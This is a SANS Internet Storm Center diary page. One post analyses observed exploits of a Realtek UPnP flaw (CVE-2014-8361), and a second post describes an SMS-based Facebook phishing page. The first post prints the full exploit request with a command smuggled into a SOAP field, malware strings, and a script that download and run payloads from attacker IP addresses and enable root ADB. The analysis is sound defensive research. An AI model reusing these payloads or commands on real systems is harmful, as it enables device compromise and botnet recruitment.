Threat Level: green Handler on Duty: Guy Bruneau

SANS ISC: InfoSec Handlers Diary Blog - Internet Storm Center Diary 2018-08-01 InfoSec Handlers Diary Blog


Sign Up for Free!   Forgot Password?
Log In or Sign Up for Free!

When Cameras and Routers attack Phones. Spike in CVE-2014-8361 Exploits Against Port 52869

Published: 2018-08-01
Last Updated: 2018-08-01 14:43:56 UTC
by Johannes Ullrich (Version: 1)
1 comment(s)

Universal Plug an Play (UPnP) is the gift that keeps on giving. One interesting issue with UPnP (aside from the fact that it never ever should be exposed to the Internet, but often is), is the fact that it can be reached via various routes. One of the lesser used routes is SOAP requests via TCP port 52869

Port 52869 Graph

CVE-2014-8361 is one vulnerability that is affecting the Realtek implementation of this UPnP over SOAP protocol. Realtek distributes an SDK to make it easier to implement this protocol. As part of the SDK, it ships "miniigd", which is Realtek's daemon used to listen for and parse these SOAP requests. Over the years, researchers have found a couple of vulnerabilities in this service. [1]

The spike we saw a couple of days ago was caused by the following request. I formatted the request to make it more readable and highlighted the remote code execution part.

POST /picsdesc.xml HTTP/1.1
Host: <redacted>:52869
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.18.4
SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
Content-Length: 628

<?xml version="1.0" ?>
    <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
    <s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1">
        <NewRemoteHost></NewRemoteHost>
        <NewExternalPort>47450</NewExternalPort>
        <NewProtocol>TCP</NewProtocol>
        <NewInternalPort>44382</NewInternalPort>
        <NewInternalClient>`wget http://185.159.82.110/qtx.mips -O -> /tmp/s`</NewInternalClient>
        <NewEnabled>1</NewEnabled>
        <NewPortMappingDescription>syncthing</NewPortMappingDescription>
        <NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping>
</s:Body></s:Envelope>

The problem is that the miniiigd daemon is passing the parameters to an operating system command without validation, leading to a classic remote code injection problem.

In this particular case, "qtx.mips" is well-known malware. Known enough where even the MIPS version is blocked by my desktop AV as a "Linux DDOS Agent." A quick look at the binary shows a couple of strings of interest:

CNXN
host::
OPEN
shell:cd /data/local/ tmp ; busybox wget http://77.246.157.180/r -O ->r;sh r; wget http://77.246.157.180/br -O ->r2;sh r2; busybox curl http://77.246.157.180/bc > r3;sh r3;curl http://77.246.157.180/c > r4;sh r4;rm -rf r r2 r3 r4

These strings are commonly associated with the Android debug port. I wrote about some attacks against exposed devices a while ago. In this case, it appears the script attempts to download and run additional malware via the port.

"r," "br" and "c" are no longer available at the IP address listed above, but files by the same name are available at 185.159.82.110. The files are very similar with small differences in syntax to account for different OS versions:

#!/bin/sh
n="arm7 arm5 arm mips mpsl x86 x64 i686"
http_server="185.159.82.110"

cd /data/local/tmp
rm -rf z
for i in $n
do
    cp /system/bin/sh z
    >z
    busybox curl http://$http_server/qtx.$i > z
    chmod 777 z
    ./z cbusybox.exploit.$i
    rm -rf z
done

adb start-server
adb root

The script first "brute forces" the architecture of the system by downloading versions of the "qtx" binary compiled for different platforms and running them. After running the binary, it is removed. Finally, the script turns on the Android debug bridge (ADB) and makes sure it has root permissions.

Any recent version of Android should prompt the user and ask the user to accept the remote connection. It isn't clear if this exploit only targets old versions of Android, or if they hope the user will just accept the connection.

 

[1] https://www.exploit-db.com/exploits/37169/

---
Johannes B. Ullrich, Ph.D., Dean of Research, SANS Technology Institute
Twitter|

Keywords: adb android soap upnp
1 comment(s)

Facebook Phishing via SMS

Published: 2018-08-01
Last Updated: 2018-08-01 11:59:17 UTC
by Johannes Ullrich (Version: 1)
1 comment(s)

Facebook accounts are still a pretty hot commodity to spread malware. No ruse works better than having a "Friend" offer you some new software or browser extension. As a result, we keep seeing attempts to phish Facebook credentials. Late last week I came across a simple example of such an attempt that in particular targeted users of mobile devices. Mobile browsers have long been an easier target for phishing. They often do not display the full URL (or any URL) to safe limited screen real estate. Many of the queues users are looking for in desktop browsers are harder to make out in mobile browsers.

This particular attack started with a simple SMS message. This technique as also been called "smishing" (SMS Phishing).

The attacker managed to obtain a hostname starting with "facebook." A vigilant user may, however, realize that this is the domain of a Bulgarian University.

Upon clicking on the link, a reasonably well-done copy of the facebook login page is displayed. Luckily, in this case, the full URL fits into the URL bar.

The attacker went even so far as to do some simple input validation. If random data is entered, an error message is displayed:

If a correctly formed e-mail address is entered, the user is redirected to the actual Facebook login page.

 

---
Johannes B. Ullrich, Ph.D., Dean of Research, SANS Technology Institute
Twitter|LinkedIn

Keywords:
1 comment(s)
Diary Archives